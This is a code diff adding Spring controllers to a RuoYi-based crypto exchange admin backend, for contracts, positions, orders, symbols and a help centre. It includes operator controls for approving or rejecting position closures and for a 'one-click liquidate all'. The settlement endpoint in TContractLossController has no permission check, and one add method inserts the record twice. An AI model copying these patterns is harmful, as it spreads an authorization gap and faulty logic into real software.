public AjaxResult edit(@RequestBody TCollectionOrder tCollectionOrder)
{
return toAjax(tCollectionOrderService.updateTCollectionOrder(tCollectionOrder));
}
/**
* 删除请填写功能名称
*/
@PreAuthorize("@ss.hasPermi('bussiness:collectionorder:remove')")
@Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tCollectionOrderService.deleteTCollectionOrderByIds(ids));
}
}

103
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java

@ -0,0 +1,103 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TContractCoin;
import com.ruoyi.bussiness.service.ITContractCoinService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* U本位合约币种Controller
*
* @author michael
* @date 2023-07-20
*/
@RestController
@RequestMapping("/bussiness/ucontract")
public class TContractCoinController extends BaseController {
@Autowired
private ITContractCoinService tContractCoinService;
/**
* 查询U本位合约币种列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:list')")
@GetMapping("/list")
public TableDataInfo list(TContractCoin tContractCoin) {
startPage();
List<TContractCoin> list = tContractCoinService.selectTContractCoinList(tContractCoin);
return getDataTable(list);
}
/**
* 导出U本位合约币种列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:export')")
@Log(title = "U本位合约币种", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TContractCoin tContractCoin) {
List<TContractCoin> list = tContractCoinService.selectTContractCoinList(tContractCoin);
ExcelUtil<TContractCoin> util = new ExcelUtil<TContractCoin>(TContractCoin.class);
util.exportExcel(response, list, "U本位合约币种数据");
}
/**
* 获取U本位合约币种详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id) {
return success(tContractCoinService.selectTContractCoinById(id));
}
/**
* 新增U本位合约币种
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:add')")
@Log(title = "U本位合约币种", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TContractCoin tContractCoin) {
int result = tContractCoinService.insertTContractCoin(tContractCoin);
if (10001==result){
return AjaxResult.error("币种请勿重复添加!");
}
return toAjax(tContractCoinService.insertTContractCoin(tContractCoin));
}
/**
* 修改U本位合约币种
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:edit')")
@Log(title = "U本位合约币种", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TContractCoin tContractCoin) {
return toAjax(tContractCoinService.updateTContractCoin(tContractCoin));
}
/**
* 删除U本位合约币种
*/
@PreAuthorize("@ss.hasPermi('bussiness:ucontract:remove')")
@Log(title = "U本位合约币种", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(tContractCoinService.deleteTContractCoinByIds(ids));
}
}

108
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java

@ -0,0 +1,108 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TContractLoss;
import com.ruoyi.bussiness.service.ITContractLossService;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.poi.ExcelUtil;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletResponse;
import java.util.List;
/**
* 止盈止损表Controller
*
* @author ruoyi
* @date 2023-07-25
*/
@RestController
@RequestMapping("/bussiness/contractLoss")
public class TContractLossController extends BaseController
{
@Autowired
private ITContractLossService tContractLossService;
/**
* 查询止盈止损表列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:list')")
@GetMapping("/list")
public TableDataInfo list(TContractLoss tContractLoss)
{
startPage();
List<TContractLoss> list = tContractLossService.selectTContractLossList(tContractLoss);
return getDataTable(list);
}
/**
* 导出止盈止损表列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:export')")
@Log(title = "止盈止损表", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TContractLoss tContractLoss)
{
List<TContractLoss> list = tContractLossService.selectTContractLossList(tContractLoss);
ExcelUtil<TContractLoss> util = new ExcelUtil<TContractLoss>(TContractLoss.class);
util.exportExcel(response, list, "止盈止损表数据");
}
/**
* 获取止盈止损表详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tContractLossService.selectTContractLossById(id));
}
/**
* 新增止盈止损表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:add')")
@Log(title = "止盈止损表", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TContractLoss tContractLoss)
{
return toAjax(tContractLossService.insertTContractLoss(tContractLoss));
}
/**
* 修改止盈止损表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:edit')")
@Log(title = "止盈止损表", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TContractLoss tContractLoss)
{
return toAjax(tContractLossService.updateTContractLoss(tContractLoss));
}
/**
* 删除止盈止损表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractLoss:remove')")
@Log(title = "止盈止损表", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tContractLossService.deleteTContractLossByIds(ids));
}
@PostMapping("/settMent")
@ResponseBody
public AjaxResult settMent(@RequestBody TContractLoss contractLoss) {
String result = tContractLossService.cntractLossSett( contractLoss);
if (!"success".equals(result)) {
return AjaxResult.error(result);
}
return AjaxResult.success();
}
}

116
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java

@ -0,0 +1,116 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TContractOrder;
import com.ruoyi.bussiness.service.ITContractOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* U本位委托Controller
*
* @author michael
* @date 2023-07-20
*/
@RestController
@RequestMapping("/bussiness/contractOrder")
public class TContractOrderController extends BaseController
{
@Autowired
private ITContractOrderService tContractOrderService;
/**
* 查询U本位委托列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:list')")
@GetMapping("/list")
public TableDataInfo list(TContractOrder tContractOrder)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tContractOrder.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TContractOrder> list = tContractOrderService.selectTContractOrderList(tContractOrder);
return getDataTable(list);
}
/**
* 导出U本位委托列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:export')")
@Log(title = "U本位委托", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TContractOrder tContractOrder)
{
List<TContractOrder> list = tContractOrderService.selectTContractOrderList(tContractOrder);
ExcelUtil<TContractOrder> util = new ExcelUtil<TContractOrder>(TContractOrder.class);
util.exportExcel(response, list, "U本位委托数据");
}
/**
* 获取U本位委托详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tContractOrderService.selectTContractOrderById(id));
}
/**
* 新增U本位委托
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:add')")
@Log(title = "U本位委托", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TContractOrder tContractOrder)
{
return toAjax(tContractOrderService.insertTContractOrder(tContractOrder));
}
/**
* 修改U本位委托
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:edit')")
@Log(title = "U本位委托", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TContractOrder tContractOrder)
{
return toAjax(tContractOrderService.updateTContractOrder(tContractOrder));
}
/**
* 删除U本位委托
*/
@PreAuthorize("@ss.hasPermi('bussiness:contractOrder:remove')")
@Log(title = "U本位委托", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tContractOrderService.deleteTContractOrderByIds(ids));
}
}

208
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java

@ -0,0 +1,208 @@
package com.ruoyi.web.controller.bussiness;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.TContractLoss;
import com.ruoyi.bussiness.service.ITContractLossService;
import com.ruoyi.bussiness.service.ITWithdrawService;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.enums.CachePrefix;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.ucontract.ContractComputerUtil;
import com.ruoyi.socket.socketserver.WebSocketNotice;
import io.swagger.annotations.ApiOperation;
import org.apache.poi.ss.formula.functions.T;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TContractPosition;
import com.ruoyi.bussiness.service.ITContractPositionService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* U本位持仓表Controller
*
* @author michael
* @date 2023-07-20
*/
@RestController
@RequestMapping("/bussiness/position")
public class TContractPositionController extends BaseController {
@Autowired
private ITContractPositionService tContractPositionService;
@Autowired
private ITContractLossService contractLossService;
@Resource
private RedisCache redisCache;
/**
* 查询U本位持仓表列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:list')")
@GetMapping("/list")
public TableDataInfo list(TContractPosition tContractPosition) {
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if (!user.isAdmin()) {
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) {
tContractPosition.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TContractPosition> list = tContractPositionService.selectTContractPositionList(tContractPosition);
for (TContractPosition t : list) {
BigDecimal earnRate = Objects.isNull(t.getEarnRate()) ? BigDecimal.ZERO : t.getEarnRate();
BigDecimal adjustAmount=t.getAdjustAmount();
//rxce
BigDecimal bigDecimal =adjustAmount.add((adjustAmount.multiply(t.getLeverage()).multiply(earnRate).setScale(4, RoundingMode.UP)));
//需要补多少仓
BigDecimal subzs=bigDecimal.subtract(t.getRemainMargin());
if(subzs.compareTo(BigDecimal.ZERO)<0){
subzs=BigDecimal.ZERO;
}
t.setSubAmount(bigDecimal);
Map<String, Object> params = new HashMap<>();
Long days= Objects.nonNull(t.getDeliveryDays())?t.getDeliveryDays()*3600*24*1000:0L;
params.put("subTime", Objects.nonNull(t.getSubTime())?t.getSubTime().getTime()+days:0L);
Long sub=System.currentTimeMillis()-t.getCreateTime().getTime();
Long result=t.getDeliveryDays()*3600*24*1000-sub;
if(result<0){
result=0L;
}
params.put("deliveryDays", Objects.nonNull(t.getDeliveryDays())?result:0L);
t.setParams(params);
BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getSymbol().toLowerCase());
if (Objects.nonNull(currentlyPrice)) {
BigDecimal earn = ContractComputerUtil.getPositionEarn(t.getOpenPrice(), t.getOpenNum(), currentlyPrice, t.getType());
Integer status = t.getStatus();
t.setUreate(earn);
if (1 == status) {
t.setUreate(t.getEarn());
}
}
}
return getDataTable(list);
}
/**
* 导出U本位持仓表列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:export')")
@Log(title = "U本位持仓表", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TContractPosition tContractPosition) {
List<TContractPosition> list = tContractPositionService.selectTContractPositionList(tContractPosition);
ExcelUtil<TContractPosition> util = new ExcelUtil<TContractPosition>(TContractPosition.class);
util.exportExcel(response, list, "U本位持仓表数据");
}
/**
* 获取U本位持仓表详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id) {
return success(tContractPositionService.selectTContractPositionById(id));
}
/**
* 新增U本位持仓表
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:add')")
@Log(title = "U本位持仓表", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TContractPosition tContractPosition) {
return toAjax(tContractPositionService.insertTContractPosition(tContractPosition));
}
/**
* 修改U本位持仓表
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:edit')")
@Log(title = "U本位持仓表", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TContractPosition tContractPosition) {
int count=tContractPositionService.updateTContractPosition(tContractPosition);
return toAjax(count);
}
/**
* 删除U本位持仓表
*/
@PreAuthorize("@ss.hasPermi('bussiness:position:remove')")
@Log(title = "U本位持仓表", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids) {
return toAjax(tContractPositionService.deleteTContractPositionByIds(ids));
}
@PreAuthorize("@ss.hasPermi('bussiness:position:query')")
@PostMapping("contractLoss/{id}")
public TableDataInfo contractLoss(@PathVariable Long id) {
TContractLoss tContractLoss = new TContractLoss();
tContractLoss.setPositionId(id);
startPage();
List<TContractLoss> list = contractLossService.selectTContractLossList(tContractLoss);
return getDataTable(list);
}
@PreAuthorize("@ss.hasPermi('bussiness:position:pass')")
@Log(title = "平仓审核", businessType = BusinessType.UPDATE)
@PutMapping("/pass")
public AjaxResult pass(@RequestBody TContractPosition tContractPosition) {
String result= tContractPositionService.pass(tContractPosition);
if(!"success".equals(result)){
return AjaxResult.error(result);
}
return AjaxResult.success();
}
@PreAuthorize("@ss.hasPermi('bussiness:position:reject')")
@Log(title = "平仓审核", businessType = BusinessType.UPDATE)
@PutMapping("/reject")
public AjaxResult reject(@RequestBody TContractPosition tContractPosition) {
String result= tContractPositionService.reject(tContractPosition);
if(!"success".equals(result)){
return AjaxResult.error(result);
}
return AjaxResult.success();
}
@PreAuthorize("@ss.hasPermi('bussiness:position:stopPosition')")
@Log(title = "平仓", businessType = BusinessType.UPDATE)
@PostMapping("/stopPositon")
public AjaxResult stopPositon(@RequestBody TContractPosition tContractPosition) {
String result= tContractPositionService.stopPosition(tContractPosition.getId());
if(!"success".equals(result)){
return AjaxResult.error(result);
}
return AjaxResult.success();
}
@PreAuthorize("@ss.hasPermi('bussiness:position:stopAll')")
@Log(title = "一键爆仓", businessType = BusinessType.UPDATE)
@PostMapping("/stopAllPositon")
public AjaxResult stopAllPositon(@RequestBody TContractPosition tContractPosition) {
String result= tContractPositionService.stopAllPosition(tContractPosition.getId());
if(!"success".equals(result)){
return AjaxResult.error(result);
}
return AjaxResult.success();
}
}

116
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java

@ -0,0 +1,116 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TCurrencyOrder;
import com.ruoyi.bussiness.service.ITCurrencyOrderService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 币币交易订单Controller
*
* @author ruoyi
* @date 2023-07-25
*/
@RestController
@RequestMapping("/bussiness/currency/order")
public class TCurrencyOrderController extends BaseController
{
@Autowired
private ITCurrencyOrderService tCurrencyOrderService;
/**
* 查询币币交易订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:list')")
@GetMapping("/list")
public TableDataInfo list(TCurrencyOrder tCurrencyOrder)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tCurrencyOrder.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TCurrencyOrder> list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder);
return getDataTable(list);
}
/**
* 导出币币交易订单列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:export')")
@Log(title = "币币交易订单", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TCurrencyOrder tCurrencyOrder)
{
List<TCurrencyOrder> list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder);
ExcelUtil<TCurrencyOrder> util = new ExcelUtil<TCurrencyOrder>(TCurrencyOrder.class);
util.exportExcel(response, list, "币币交易订单数据");
}
/**
* 获取币币交易订单详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tCurrencyOrderService.selectTCurrencyOrderById(id));
}
/**
* 新增币币交易订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:add')")
@Log(title = "币币交易订单", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TCurrencyOrder tCurrencyOrder)
{
return toAjax(tCurrencyOrderService.insertTCurrencyOrder(tCurrencyOrder));
}
/**
* 修改币币交易订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:edit')")
@Log(title = "币币交易订单", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TCurrencyOrder tCurrencyOrder)
{
return toAjax(tCurrencyOrderService.updateTCurrencyOrder(tCurrencyOrder));
}
/**
* 删除币币交易订单
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency:order:remove')")
@Log(title = "币币交易订单", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tCurrencyOrderService.deleteTCurrencyOrderByIds(ids));
}
}

124
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java

@ -0,0 +1,124 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.servlet.http.HttpServletResponse;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.TCurrencySymbol;
import com.ruoyi.bussiness.service.ITCurrencySymbolService;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 币币交易币种配置Controller
*
* @author ruoyi
* @date 2023-07-25
*/
@RestController
@RequestMapping("/bussiness/currency/symbol")
public class TCurrencySymbolController extends BaseController
{
@Autowired
private ITCurrencySymbolService tCurrencySymbolService;
@PreAuthorize("@ss.hasPermi('currency:symbol:addBatch')")
@Log(title = "币币交易币种配置", businessType = BusinessType.INSERT)
@PostMapping("/addBatch")
public AjaxResult batchSave( String[] symbols)
{
tCurrencySymbolService.batchSave(symbols);
return AjaxResult.success();
}
/**
* 查询币币交易币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:list')")
@GetMapping("/list")
public TableDataInfo list(TCurrencySymbol tCurrencySymbol)
{
startPage();
List<TCurrencySymbol> list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol);
return getDataTable(list);
}
/**
* 导出币币交易币种配置列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:export')")
@Log(title = "币币交易币种配置", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, TCurrencySymbol tCurrencySymbol)
{
List<TCurrencySymbol> list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol);
ExcelUtil<TCurrencySymbol> util = new ExcelUtil<TCurrencySymbol>(TCurrencySymbol.class);
util.exportExcel(response, list, "币币交易币种配置数据");
}
/**
* 获取币币交易币种配置详细信息
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:query')")
@GetMapping(value = "/{id}")
public AjaxResult getInfo(@PathVariable("id") Long id)
{
return success(tCurrencySymbolService.selectTCurrencySymbolById(id));
}
/**
* 新增币币交易币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:add')")
@Log(title = "币币交易币种配置", businessType = BusinessType.INSERT)
@PostMapping
public AjaxResult add(@RequestBody TCurrencySymbol tCurrencySymbol)
{
TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper<TCurrencySymbol>()
.eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase()));
if (currencySymbol!=null){
return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在");
}
return toAjax(tCurrencySymbolService.insertTCurrencySymbol(tCurrencySymbol));
}
/**
* 修改币币交易币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:edit')")
@Log(title = "币币交易币种配置", businessType = BusinessType.UPDATE)
@PutMapping
public AjaxResult edit(@RequestBody TCurrencySymbol tCurrencySymbol)
{TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper<TCurrencySymbol>()
.eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase()));
if (currencySymbol!=null && !currencySymbol.getId().equals(tCurrencySymbol.getId())){
return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在");
}
return toAjax(tCurrencySymbolService.updateTCurrencySymbol(tCurrencySymbol));
}
/**
* 删除币币交易币种配置
*/
@PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:remove')")
@Log(title = "币币交易币种配置", businessType = BusinessType.DELETE)
@DeleteMapping("/{ids}")
public AjaxResult remove(@PathVariable Long[] ids)
{
return toAjax(tCurrencySymbolService.deleteTCurrencySymbolByIds(ids));
}
}

47
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java

@ -0,0 +1,47 @@
package com.ruoyi.web.controller.bussiness;
import com.ruoyi.bussiness.domain.TExchangeCoinRecord;
import com.ruoyi.bussiness.service.ITExchangeCoinRecordService;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
import java.util.List;
/**
* 币种兑换记录Controller
*
* @author ruoyi
* @date 2023-07-07
*/
@RestController
@RequestMapping("/bussiness/texchange")
public class TExchangeCoinRecordController extends BaseController
{
@Autowired
private ITExchangeCoinRecordService tExchangeCoinRecordService;
/**
* 查询币种兑换记录列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:texchange:list')")
@GetMapping("/list")
public TableDataInfo list(TExchangeCoinRecord tExchangeCoinRecord)
{
LoginUser loginUser = SecurityUtils.getLoginUser();
SysUser user = loginUser.getUser();
if(!user.isAdmin()){
if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){
tExchangeCoinRecord.setAdminParentIds(String.valueOf(user.getUserId()));
}
}
startPage();
List<TExchangeCoinRecord> list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord);
return getDataTable(list);
}
}

117
ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java

@ -0,0 +1,117 @@
package com.ruoyi.web.controller.bussiness;
import java.util.List;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import com.ruoyi.bussiness.domain.THelpCenterInfo;
import com.ruoyi.bussiness.service.ITHelpCenterInfoService;
import com.ruoyi.bussiness.service.ITHelpCenterService;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.bussiness.domain.THelpCenter;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.common.core.page.TableDataInfo;
/**
* 帮助中心Controller
*
* @author ruoyi
* @date 2023-08-17
*/
@RestController
@RequestMapping("/bussiness/helpcenter")
public class THelpCenterController extends BaseController
{
@Autowired
private ITHelpCenterService tHelpCenterService;
@Resource
private ITHelpCenterInfoService tHelpCenterInfoService;
/**
* 查询帮助中心列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:list')")
@GetMapping("/list")
public TableDataInfo list(THelpCenter tHelpCenter)
{
startPage();
List<THelpCenter> list = tHelpCenterService.selectTHelpCenterList(tHelpCenter);
return getDataTable(list);
}
/**
* 导出帮助中心列表
*/
@PreAuthorize("@ss.hasPermi('bussiness:helpcenter:export')")
@Log(title = "帮助中心", businessType = BusinessType.EXPORT)
@PostMapping("/export")
public void export(HttpServletResponse response, THelpCenter tHelpCenter)
{
List<THelpCenter> list = tHelpCenterService.selectTHelpCenterList(tHelpCenter);
ExcelUtil<THelpCenter> util = new ExcelUtil<THelpCenter>(THelpCenter.class);
util.exportExcel(response, list, "帮助中心数据");
}
/**
* 获取帮助中心详细信息
*/
